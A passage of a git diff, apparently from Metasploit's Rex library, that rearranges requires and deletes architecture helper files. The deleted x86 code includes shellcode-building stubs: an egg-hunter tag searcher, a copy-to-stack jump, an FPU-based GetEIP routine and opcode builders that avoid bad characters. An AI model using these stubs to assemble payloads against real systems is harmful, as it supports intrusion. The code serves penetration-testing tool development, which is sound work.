purposes +require 'rex/powershell' +# Library for processing and creating Zip compatbile archives +require 'rex/zip' +# Library for parsing offline Windows Registry files +require 'rex/registry' +# Library for parsing Java serialized streams +require 'rex/java' +# Library for creating C-style Structs +require 'rex/struct2' +# Library for working with OLE +require 'rex/ole' +# Library for creating and/or parsing MIME messages +require 'rex/mime' +# Library for polymorphic encoders +require 'rex/encoder' +# Architecture subsystem +require 'rex/arch' +# Exploit Helper Library +require 'rex/exploitation' + # Generic classes -require 'rex/constants' require 'rex/exceptions' require 'rex/transformer' -require 'rex/random_identifier_generator' -require 'rex/text' +require 'rex/random_identifier' require 'rex/time' require 'rex/job_container' require 'rex/file' @@ -54,12 +81,6 @@ require 'rex/sync' # Thread factory require 'rex/thread_factory' -# Encoding -require 'rex/encoder/xor' -require 'rex/encoding/xor' - -# Architecture subsystem -require 'rex/arch' # Assembly require 'rex/assembly/nasm' @@ -87,9 +108,6 @@ require 'rex/parser/ini' # Compatibility require 'rex/compat' -# Platforms -require 'rex/platforms' - # SSLScan require 'rex/sslscan/scanner' require 'rex/sslscan/result' diff --git a/lib/rex/arch.rb b/lib/rex/arch.rb deleted file mode 100644 index 7ea7251cbf..0000000000 --- a/lib/rex/arch.rb +++ /dev/null @@ -1,109 +0,0 @@ -# -*- coding: binary -*- -require 'rex/constants' - -module Rex - - -### -# -# This module provides generalized methods for performing operations that are -# architecture specific. Furthermore, the modules contained within this -# module provide features that are specific to a given architecture. -# -### -module Arch - - # - # Architecture classes - # - require 'rex/arch/x86' - require 'rex/arch/sparc' - require 'rex/arch/zarch' - - # - # This routine adjusts the stack pointer for a given architecture. - # - def self.adjust_stack_pointer(arch, adjustment) - - if ( arch.is_a?(::Array)) - arch = arch[0] - end - - case arch - when /x86/ - Rex::Arch::X86.adjust_reg(Rex::Arch::X86::ESP, adjustment) - else - nil - end - end - - # - # This route provides address packing for the specified arch - # - def self.pack_addr(arch, addr) - - if ( arch.is_a?(::Array)) - arch = arch[0] - end - - case arch - when ARCH_X86 - [addr].pack('V') - when ARCH_X86_64, ARCH_X64 - [addr].pack('Q<') - when ARCH_MIPS # ambiguous - [addr].pack('N') - when ARCH_MIPSBE - [addr].pack('N') - when ARCH_MIPSLE - [addr].pack('V') - when ARCH_PPC # ambiguous - [addr].pack('N') - when ARCH_SPARC - [addr].pack('N') - when ARCH_ARMLE - [addr].pack('V') - when ARCH_ARMBE - [addr].pack('N') - when ARCH_ZARCH - [addr].pack('Q>') - end - end - - # - # This routine reports the endianess of a given architecture - # - def self.endian(arch) - - if ( arch.is_a?(::Array)) - arch = arch[0] - end - - case arch - when ARCH_X86 - return ENDIAN_LITTLE - when ARCH_X86_64 - return ENDIAN_LITTLE - when ARCH_MIPS # ambiguous - return ENDIAN_BIG - when ARCH_MIPSLE - return ENDIAN_LITTLE - when ARCH_MIPSBE - return ENDIAN_BIG - when ARCH_PPC # ambiguous - return ENDIAN_BIG - when ARCH_SPARC - return ENDIAN_BIG - when ARCH_ARMLE - return ENDIAN_LITTLE - when ARCH_ARMBE - return ENDIAN_BIG - when ARCH_ZARCH - return ENDIAN_BIG - end - - return ENDIAN_LITTLE - end - -end -end diff --git a/lib/rex/arch/sparc.rb b/lib/rex/arch/sparc.rb deleted file mode 100644 index c12affe670..0000000000 --- a/lib/rex/arch/sparc.rb +++ /dev/null @@ -1,75 +0,0 @@ -# -*- coding: binary -*- - -module Rex -module Arch - -# -# Everything here is mostly stolen from vlad's perl sparc stuff -# -module Sparc - - # - # Register number constants - # - RegisterNumber = - { - 'g0' => 0, 'g1' => 1, 'g2' => 2, 'g3' => 3, - 'g4' => 4, 'g5' => 5, 'g6' => 6, 'g7' => 7, - 'o0' => 8, 'o1' => 9, 'o2' => 10, 'o3' => 11, - 'o4' => 12, 'o5' => 13, 'o6' => 14, 'o7' => 15, - 'l0' => 16, 'l1' => 17, 'l2' => 18, 'l3' => 19, - 'l4' => 20, 'l5' => 21, 'l6' => 22, 'l7' => 23, - 'i0' => 24, 'i1' => 25, 'i2' => 26, 'i3' => 27, - 'i4' => 28, 'i5' => 29, 'i6' => 30, 'i7' => 31, - 'sp' => 14, 'fp' => 30, - } # :nodoc: - - # - # Encodes a SETHI instruction with the value 'constant' being put into 'dst' register - # - def self.sethi(constant, dst) - [ - (RegisterNumber[dst] << 25) | - (4 << 22) | - (constant >> 10) - ].pack('N') - end - - # - # Encodes an OR instruction with the value 'constant' being OR'ed with the 'src' register into the 'dst' register - # - def self.ori(src, constant, dst) - [ - (2 << 30) | - (RegisterNumber[dst] << 25) | - (2 << 19) | - (RegisterNumber[src] << 14) | - (1 << 13) | - (constant & 0x1fff) - ].pack('N') - end - - # - # Puts 'constant' into the 'dst' register using as few instructions as possible by checking the size of the value. - # XXX: signedness support - # - def self.set(constant, dst) - if (constant <= 4095 and constant >= 0) - ori('g0', constant, dst) - elsif (constant & 0x3ff != 0) - set_dword(constant, dst) - else - sethi(constant, dst) - end - end - - # - # Puts 'constant' into the 'dst' register using both sethi and ori (necessary to use both uncessarily in some cases with encoders) - # - def self.set_dword(constant, dst) - sethi(constant, dst) + ori(dst, constant & 0x3ff, dst) - end - -end - -end end diff --git a/lib/rex/arch/x86.rb b/lib/rex/arch/x86.rb deleted file mode 100644 index 1fab809682..0000000000 --- a/lib/rex/arch/x86.rb +++ /dev/null @@ -1,556 +0,0 @@ -# -*- coding: binary -*- - -module Rex -module Arch - -# -# everything here is mostly stole from vlad's perl x86 stuff -# - -module X86 - - # - # Register number constants - # - EAX = AL = AX = ES = 0 - ECX = CL = CX = CS = 1 - EDX = DL = DX = SS = 2 - EBX = BL = BX = DS = 3 - ESP = AH = SP = FS = 4 - EBP = CH = BP = GS = 5 - ESI = DH = SI = 6 - EDI = BH = DI = 7 - - REG_NAMES32 = [ 'eax', 'ecx', 'edx', 'ebx', 'esp', 'ebp', 'esi', 'edi' ] - - REG_NAMES16 = [ 'ax', 'cx', 'dx', 'bx', 'sp', 'bp', 'si', 'di' ] - - REG_NAMES8L = [ 'al', 'cl', 'dl', 'bl', nil, nil, nil, nil ] - - # Jump tp a specific register - def self.jmp_reg(str) - reg = reg_number(str) - _check_reg(reg) - "\xFF" + [224 + reg].pack('C') - end - - # - # Generate a LOOP instruction (Decrement ECX and jump short if ECX == 0) - # - def self.loop(offset) - "\xE2" + pack_lsb(rel_number(offset, -2)) - end - - # - # This method returns the opcodes that compose a jump instruction to the - # supplied relative offset. - def self.jmp(addr) - "\xe9" + pack_dword(rel_number(addr)) - end - - # - # This method adds/subs a packed long integer - # - def self.dword_adjust(dword, amount=0) - pack_dword(dword.unpack('V')[0] + amount) - end - - # - # This method returns the opcodes that compose a tag-based search routine - # - def self.searcher(tag) - "\xbe" + dword_adjust(tag,-1)+ # mov esi, Tag - 1 - "\x46" + # inc esi - "\x47" + # inc edi (end_search:) - "\x39\x37" + # cmp [edi],esi - "\x75\xfb" + # jnz 0xa (end_search) - "\x46" + # inc esi - "\x4f" + # dec edi (start_search:) - "\x39\x77\xfc" + # cmp [edi-0x4],esi - "\x75\xfa" + # jnz 0x10 (start_search) - jmp_reg('edi') # jmp edi - end - - # - # Generates a buffer that will copy memory immediately following the stub - # that is generated to be copied to the stack - # - def self.copy_to_stack(len) - # four byte align - len = (len + 3) & ~0x3 - - stub = - "\xeb\x0f"+ # jmp _end - push_dword(len)+ # push n - "\x59"+ # pop ecx - "\x5e"+ # pop esi - "\x29\xcc"+ # sub esp, ecx - "\x89\xe7"+ # mov edi, esp - "\xf3\xa4"+ # rep movsb - "\xff\xe4"+ # jmp esp - "\xe8\xec\xff\xff\xff" # call _start - - stub - end - - # - # This method returns the opcodes that compose a short jump instruction to - # the supplied relative offset. - # - def self.jmp_short(addr) - "\xeb" + pack_lsb(rel_number(addr, -2)) - end - - # - # This method returns the opcodes that compose a relative call instruction - # to the address specified. - # - def self.call(addr) - "\xe8" + pack_dword(rel_number(addr, -5)) - end - - # - # This method returns a number offset to the supplied string. - # - def self.rel_number(num, delta = 0) - s = num.to_s - - case s[0, 2] - when '$+' - num = s[2 .. -1].to_i - when '$-' - num = -1 * s[2 .. -1].to_i - when '0x' - num = s.hex - else - delta = 0 - end - - return num + delta - end - - # - # This method returns the number associated with a named register. - # - def self.reg_number(str) - return self.const_get(str.upcase) - end - - # - # This method returns the register named associated with a given register - # number. - # - def self.reg_name32(num) - _check_reg(num) - return REG_NAMES32[num].dup - end - - # - # This method generates the encoded effective value for a register. - # - def self.encode_effective(shift, dst) - return (0xc0 | (shift << 3) | dst) - end - - # - # This method generates the mod r/m character for a source and destination - # register. - # - def self.encode_modrm(dst, src) - _check_reg(dst, src) - return (0xc0 | src | dst << 3).chr - end - - # - # This method generates a push byte instruction. - # - def self.push_byte(byte) - # push byte will sign extend... - if byte < 128 && byte >= -128 - return "\x6a" + (byte & 0xff).chr - end - raise ::ArgumentError, "Can only take signed byte values!", caller() - end - - # - # This method generates a push word instruction. - # - def self.push_word(val) - return "\x66\x68" + pack_word(val) - end - - # - # This method generates a push dword instruction. - # - def self.push_dword(val) - return "\x68" + pack_dword(val) - end - - # - # This method generates a pop dword instruction into a register. - # - def self.pop_dword(dst) - _check_reg(dst) - return (0x58 | dst).chr - end - - # - # This method generates an instruction that clears the supplied register in - # a manner that attempts to avoid bad characters, if supplied. - # - def self.clear(reg, badchars = '') - _check_reg(reg) - return set(reg, 0, badchars) - end - - # - # This method generates the opcodes that set the low byte of a given - # register to the supplied value. - # - def self.mov_byte(reg, val) - _check_reg(reg) - # chr will raise RangeError if val not between 0 .. 255 - return (0xb0 | reg).chr + val.chr - end - - # - # This method generates the opcodes that set the low word of a given - # register to the supplied value. - # - def self.mov_word(reg, val) - _check_reg(reg) - if val < 0 || val > 0xffff - raise RangeError, "Can only take unsigned word values!", caller() - end - return "\x66" + (0xb8 | reg).chr + pack_word(val) - end - - # - # This method generates the opcodes that set the a register to the - # supplied value. - # - def self.mov_dword(reg, val) - _check_reg(reg) - return (0xb8 | reg).chr + pack_dword(val) - end - - # - # This method is a general way of setting a register to a value. Depending - # on the value supplied, different sets of instructions may be used. - # - # TODO: Make this moderatly intelligent so it chain instructions by itself - # (ie. xor eax, eax + mov al, 4 + xchg ah, al) - def self.set(dst, val, badchars = '') - _check_reg(dst) - - # If the value is 0 try xor/sub dst, dst (2 bytes) - if val == 0 - opcodes = Rex::Text.remove_badchars("\x29\x2b\x31\x33", badchars) - if !opcodes.empty? - return opcodes[rand(opcodes.length)].chr + encode_modrm(dst, dst) - end -# TODO: SHL/SHR -# TODO: AND - end - - # try push BYTE val; pop dst (3 bytes) - begin - return _check_badchars(push_byte(val) + pop_dword(dst), badchars) - rescue ::ArgumentError, ::RuntimeError, ::RangeError - end - - # try clear dst, mov BYTE dst (4 bytes) - begin - unless val == 0 # clear tries to set(dst, 0, badchars), entering an infinite recursion - return _check_badchars(clear(dst, badchars) + mov_byte(dst, val), badchars) - end - rescue ::ArgumentError, ::RuntimeError, ::RangeError - end - - # try mov DWORD dst (5 bytes) - begin - return _check_badchars(mov_dword(dst, val), badchars) - rescue ::ArgumentError, ::RuntimeError, ::RangeError - end - - # try push DWORD, pop dst (6 bytes) - begin - return _check_badchars(push_dword(val) + pop_dword(dst), badchars) - rescue ::ArgumentError, ::RuntimeError, ::RangeError - end - - # try clear dst, mov WORD dst (6 bytes) - begin - unless val == 0 # clear tries to set(dst, 0, badchars), entering an infinite recursion - return _check_badchars(clear(dst, badchars) + mov_word(dst, val), badchars) - end - rescue ::ArgumentError, ::RuntimeError, ::RangeError - end - - raise RuntimeError, "No valid set instruction could be created!", caller() - end - - # - # Builds a subtraction instruction using the supplied operand - # and register. - # - def self.sub(val, reg, badchars = '', add = false, adjust = false, bits = 0) - opcodes = [] - shift = (add == true) ? 0 : 5 - - if (bits <= 8 and val >= -0x7f and val <= 0x7f) - opcodes << - ((adjust) ? '' : clear(reg, badchars)) + - "\x83" + - [ encode_effective(shift, reg) ].pack('C') + - [ val.to_i ].pack('C') - end - - if (bits <= 16 and val >= -0xffff and val <= 0) - opcodes << - ((adjust) ? '' : clear(reg, badchars)) + - "\x66\x81" + - [ encode_effective(shift, reg) ].pack('C') + - [ val.to_i ].pack('v') - end - - opcodes << - ((adjust) ? '' : clear(reg, badchars)) + - "\x81" + - [ encode_effective(shift, reg) ].pack('C') + - [ val.to_i ].pack('V') - - # Search for a compatible opcode - opcodes.each { |op| - begin - _check_badchars(op, badchars) - rescue - next - end - - return op - } - - if opcodes.empty? - raise RuntimeError, "Could not find a usable opcode", caller() - end - end - - # - # This method generates the opcodes equivalent to subtracting with a - # negative value from a given register. - # - def self.add(val, reg, badchars = '', adjust = false, bits = 0) - sub(val, reg, badchars, true, adjust, bits) - end - - # - # This method wrappers packing a short integer as a little-endian buffer. - # - def self.pack_word(num) - [num].pack('v') - end - - # - # This method wrappers packing an integer as a little-endian buffer. - # - def self.pack_dword(num) - [num].pack('V') - end - - # - # This method returns the least significant byte of a packed dword. - # - def self.pack_lsb(num) - pack_dword(num)[0,1] - end - - # - # This method adjusts the value of the ESP register by a given amount. - # - def self.adjust_reg(reg, adjustment) - if (adjustment > 0) - sub(adjustment, reg, '', false, false, 32) - else - add(adjustment, reg, '', true, 32) - end - end - - def self._check_reg(*regs) # :nodoc: - regs.each { |reg| - if reg > 7 || reg < 0 - raise ArgumentError, "Invalid register #{reg}", caller() - end - } - return nil - end - - def self._check_badchars(data, badchars) # :nodoc: - idx = Rex::Text.badchar_index(data, badchars) - if idx - raise RuntimeError, "Bad character at #{idx}", caller() - end - return data - end - - # - # This method returns an array of 'safe' FPU instructions - # - def self.fpu_instructions - fpus = [] - - 0xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr } - 0xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr } - 0xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr } - 0xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr } - 0xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr } - - fpus << "\xd9\xd0" - fpus << "\xd9\xe1" - fpus << "\xd9\xf6" - fpus << "\xd9\xf7" - fpus << "\xd9\xe5" - - # This FPU instruction seems to fail consistently on Linux - #fpus << "\xdb\xe1" - - fpus - end - - # - # This method returns an array containing a geteip stub, a register, and an offset - # This method will return nil if the getip generation fails - # - def self.geteip_fpu(badchars, modified_registers = []) - # - # Default badchars to an empty string - # - badchars ||= '' - - # - # Bail out early if D9 is restricted - # - return nil if badchars.index("\xd9") - - # - # Create a list of FPU instructions - # - fpus = *self.fpu_instructions - bads = [] - badchars.each_byte do |c| - fpus.each do |str| - bads << str if (str.index(c.chr)) - end - end - bads.each { |str| fpus.delete(str) } - return nil if fpus.length == 0 - - # - # Create a list of registers to use for fnstenv - # - dsts = [] - 0.upto(7) do |c| - dsts << c if (not badchars.index( (0x70+c).chr )) - end - - if (dsts.include?(ESP) and badchars.index("\x24")) - dsts.delete(ESP) - end - - return nil if dsts.length == 0 - - # - # Grab a random FPU instruction - # - fpu = fpus[ rand(fpus.length) ] - - # - # Grab a random register from dst - # - while(dsts.length > 0) - buf = '' - mod_registers = [ESP] - dst = dsts[ rand(dsts.length) ] - dsts.delete(dst) - - # If the register is not ESP, copy ESP - if (dst != ESP) - mod_registers.push(dst) - if badchars.index( (0x70 + dst).chr ) - mod_registers.pop(dst) - next - end - - if !(badchars.index("\x89") or badchars.index( (0xE0+dst).chr )) - buf << "\x89" + (0xE0 + dst).chr - else - if badchars.index("\x54") - mod_registers.pop(dst) - next - end - if badchars.index( (0x58+dst).chr ) - mod_registers.pop(dst) - next - end - buf << "\x54" + (0x58 + dst).chr - end - end - - pad = 0 - while (pad < (128-12) and badchars.index( (256-12-pad).chr)) - pad += 4 - end - - # Give up on finding a value to use here - if (pad == (128-12)) - return nil - end - - out = buf + fpu + "\xd9" + (0x70 + dst).chr - out << "\x24" if dst == ESP - out << (256-12-pad).chr - - regs = [*(0..7)] - while (regs.length > 0) - reg = regs[ rand(regs.length) ] - regs.delete(reg) - next if reg == ESP - next if badchars.index( (0x58 + reg).chr ) - mod_registers.push(reg) - - # Pop the value back out - 0.upto(pad / 4) { |c| out << (0x58 + reg).chr } - - # Fix the value to point to self - gap = out.length - buf.length - - mod_registers.uniq! - modified_registers.concat(mod_registers) - return [out, REG_NAMES32[reg].upcase, gap] - end - mod_registers.pop(dst) - end - - return nil - end - - # - # Parse a list of registers as a space or command delimited - # string and return the internal register IDs as an array - # - def self.register_names_to_ids(str) - register_ids = [] - str.to_s.strip.split(/[,\s]/). - map {|reg| reg.to_s.strip.upcase }. - select {|reg| reg.length > 0 }. - uniq.each do |reg| - next unless self.const_defined?(reg.intern) - register_ids << self.const_get(reg.intern) - end - register_ids - end - -end - -end end - diff --git a/lib/rex/arch/zarch.rb b/lib/rex/arch/zarch.rb deleted file mode 100644 index d90a9085aa..0000000000 --- a/lib/rex/arch/zarch.rb +++ /dev/null @@ -1,17 +0,0 @@ -# -*- coding: binary -*- - -module Rex -module Arch - -# -# base module for ZARCH creation 8/13/15 -# Author: BeS Bigendian Smalls -# - -module ZARCH - - -end - -end end - diff --git a/lib/rex/assembly/nasm.rb b/lib/rex/assembly/nasm.rb deleted file mode 100644 index 705706b810..0000000000 --- a/lib/rex/assembly/nasm.rb +++ /dev/null @@ -1,104 +0,0 @@ -# -*- coding: binary -*- - -require 'tempfile' -require 'rex/file' -require 'rex/text' - -module Rex -module Assembly - -### -# -# This class uses nasm to assemble and disassemble stuff. -# -### -class Nasm - - @@nasm_path = 'nasm' - @@ndisasm_path = 'ndisasm' - - # - # Ensures that the nasm environment is sane. - # - def self.check - @@nasm_path = - Rex::FileUtils.find_full_path('nasm') || - Rex::FileUtils.find_full_path('nasm.exe') || - Rex::FileUtils.find_full_path('nasmw.exe') || - raise(RuntimeError, "No nasm installation was found.") - - @@ndisasm_path = - Rex::FileUtils.find_full_path('ndisasm') || - Rex::FileUtils.find_full_path('ndisasm.exe') || - Rex::FileUtils.find_full_path('ndisasmw.exe') || - raise(RuntimeError, "No ndisasm installation was found.") - end - - # - # Assembles the supplied assembly and returns the raw opcodes. - # - def self.assemble(assembly, bits=32) - check - - # Open the temporary file - tmp = Tempfile.new('nasmXXXX') - tmp.binmode - - tpath = tmp.path - opath = tmp.path + '.out' - - # Write the assembly data to a file - tmp.write("BITS #{bits}\n" + assembly) - tmp.flush() - tmp.seek(0) - - # Run nasm - if (system(@@nasm_path, '-f', 'bin', '-o', opath, tpath) == false) - raise RuntimeError, "Assembler did not complete successfully: #{$?.exitstatus}" - end - - # Read the assembled text - rv = ::IO.read(opath) - - # Remove temporary files - File.unlink(opath) - tmp.close(true) - - rv - end - - # - # Disassembles the supplied raw opcodes - # - def self.disassemble(raw, bits=32) - check - - tmp = Tempfile.new('nasmout') - tmp.binmode - - tfd = File.open(tmp.path, "wb") - - tfd.write(raw) - tfd.flush() - tfd.close - - p = ::IO.popen("\"#{@@ndisasm_path}\" -b #{bits} \"#{tmp.path}\"") - o = '' - - begin - until p.eof? - o += p.read - end - ensure - p.close - end - - tmp.close(true) - - o - end - -end - -end -end diff --git a/lib/rex/codepage.map b/lib/rex/codepage.map deleted file mode 100644 index 99eaba72c2..0000000000 --- a/lib/rex/codepage.map +++ /dev/null @@ -1,104 +0,0 @@ -# Windows Version: 5.00.2195 -# OEM codepage: 437 -# ACP codepage: 1252 - -# INSTALLED CODEPAGES -10000 (MAC - Roman) - - -10079 (MAC - Icelandic) - - -1250 (ANSI - Central Europe) -00a1:21 00a2:63 00a3:4c 00a5:59 00aa:61 00b2:32 00b3:33 00b9:31 00ba:6f 00bc:31 00bd:31 00be:33 00c0:41 00c3:41 00c5:41 00c6:41 00c8:45 00ca:45 00cc:49 00cf:49 00d1:4e 00d2:4f 00d5:4f 00d8:4f 00d9:55 00db:55 00e0:61 00e3:61 00e5:61 00e6:61 00e8:65 00ea:65 00ec:69 00ef:69 00f1:6e 00f2:6f 00f5:6f 00f8:6f 00f9:75 00fb:75 00ff:79 0100:41 0101:61 0108:43 0109:63 010a:43 010b:63 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0130:49 0131:69 0134:4a 0135:6a 0136:4b 0137:6b 013b:4c 013c:6c 0145:4e 0146:6e 014c:4f 014d:6f 014e:4f 014f:6f 0152:4f 0153:6f 0156:52 0157:72 015c:53 015d:73 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0178:59 0180:62 0191:46 0192:66 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01b6:7a 01c0:7c 01c3:21 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 0261:67 02b9:27 02ba:22 02bc:27 02c4:5e 02c6:5e 02c8:27 02cb:60 02cd:5f 02dc:7e 0300:60 0302:5e 0303:7e 030e:22 0331:5f 0332:5f 037e:3b 04bb:68 0589:3a 066a:25 2000:20 2001:20 2002:20 2003:20 2004:20 2005:20 2006:20 2010:2d 2011:2d 2032:27 2035:60 203c:21 2044:2f 2074:34 2075:35 2076:36 2077:37 2078:38 2080:30 2081:31 2082:32 2083:33 2084:34 2085:35 2086:36 2087:37 2088:38 2089:39 2102:43 2107:45 210a:67 210b:48 210c:48 210d:48 210e:68 2110:49 2111:49 2112:4c 2113:6c 2115:4e 2118:50 2119:50 211a:51 211b:52 211c:52 211d:52 2124:5a 2128:5a 212a:4b 212c:42 212d:43 212e:65 212f:65 2130:45 2131:46 2133:4d 2134:6f 2191:5e 2194:2d 2195:7c 21a8:7c 2212:2d 2215:2f 2216:5c 2217:2a 221f:4c 2223:7c 2236:3a 223c:7e 2303:5e 2329:3c 232a:3e 2502:2d 250c:2d 2514:4c 2518:2d 251c:2b 2524:2b 252c:54 2534:2b 253c:2b 2550:3d 2554:2d 255a:4c 255d:2d 2566:54 256c:2b 2580:2d 2584:2d 2588:2d 2591:2d 2592:2d 2593:2d 25ac:2d 25b2:5e 25ba:3e 25c4:3c 25cb:30 25d9:30 263c:30 2640:2b 2642:3e 266a:64 266b:64 2758:7c 3000:20 3008:3c 3009:3e 301a:5b 301b:5d ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e - -1251 (ANSI - Cyrillic) -00c0:41 00c1:41 00c2:41 00c3:41 00c4:41 00c5:41 00c7:43 00c8:45 00c9:45 00ca:45 00cb:45 00cc:49 00cd:49 00ce:49 00cf:49 00d1:4e 00d2:4f 00d3:4f 00d4:4f 00d5:4f 00d6:4f 00d8:4f 00d9:55 00da:55 00db:55 00dc:55 00dd:59 00e0:61 00e1:61 00e2:61 00e3:61 00e4:61 00e5:61 00e7:63 00e8:65 00e9:65 00ea:65 00eb:65 00ec:69 00ed:69 00ee:69 00ef:69 00f1:6e 00f2:6f 00f3:6f 00f4:6f 00f5:6f 00f6:6f 00f8:6f 00f9:75 00fa:75 00fb:75 00fc:75 00fd:79 00ff:79 0100:41 0101:61 0102:41 0103:61 0104:41 0105:61 0106:43 0107:63 0108:43 0109:63 010a:43 010b:63 010c:43 010d:63 010e:44 010f:64 0110:44 0111:64 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 0118:45 0119:65 011a:45 011b:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0130:49 0134:4a 0135:6a 0136:4b 0137:6b 0139:4c 013a:6c 013b:4c 013c:6c 013d:4c 013e:6c 0141:4c 0142:6c 0143:4e 0144:6e 0145:4e 0146:6e 0147:4e 0148:6e 014c:4f 014d:6f 014e:4f 014f:6f 0150:4f 0151:6f 0154:52 0155:72 0156:52 0157:72 0158:52 0159:72 015a:53 015b:73 015c:53 015d:73 015e:53 015f:73 0160:53 0161:73 0162:54 0163:74 0164:54 0165:74 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 016e:55 016f:75 0170:55 0171:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0178:59 0179:5a 017b:5a 017c:7a 017d:5a 017e:7a 0180:62 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 203c:21 2190:3c 2191:5e 2192:3e 2193:76 2194:2d 221a:76 221f:4c 2500:2d 250c:2d 2514:4c 2518:2d 251c:2b 2524:2b 252c:54 2534:2b 253c:2b 2550:3d 2552:2d 2558:4c 2559:4c 255a:4c 255b:2d 255c:2d 255d:2d 2564:54 2565:54 2566:54 256a:2b 256b:2b 256c:2b 2580:2d 2584:2d 2588:2d 2591:2d 2592:2d 2593:2d 25ac:2d 25b2:5e 25ba:3e 25c4:3c 25cb:30 25d9:30 263a:4f 263b:4f 263c:30 2640:2b 2642:3e 266a:64 266b:64 ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e - -1252 (ANSI - Latin I) -0100:41 0101:61 0102:41 0103:61 0104:41 0105:61 0106:43 0107:63 0108:43 0109:63 010a:43 010b:63 010c:43 010d:63 010e:44 010f:64 0111:64 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 0118:45 0119:65 011a:45 011b:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0130:49 0131:69 0134:4a 0135:6a 0136:4b 0137:6b 0139:4c 013a:6c 013b:4c 013c:6c 013d:4c 013e:6c 0141:4c 0142:6c 0143:4e 0144:6e 0145:4e 0146:6e 0147:4e 0148:6e 014c:4f 014d:6f 014e:4f 014f:6f 0150:4f 0151:6f 0154:52 0155:72 0156:52 0157:72 0158:52 0159:72 015a:53 015b:73 015c:53 015d:73 015e:53 015f:73 0162:54 0163:74 0164:54 0165:74 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 016e:55 016f:75 0170:55 0171:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0179:5a 017b:5a 017c:7a 0180:62 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01b6:7a 01c0:7c 01c3:21 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 0261:67 02b9:27 02ba:22 02bc:27 02c4:5e 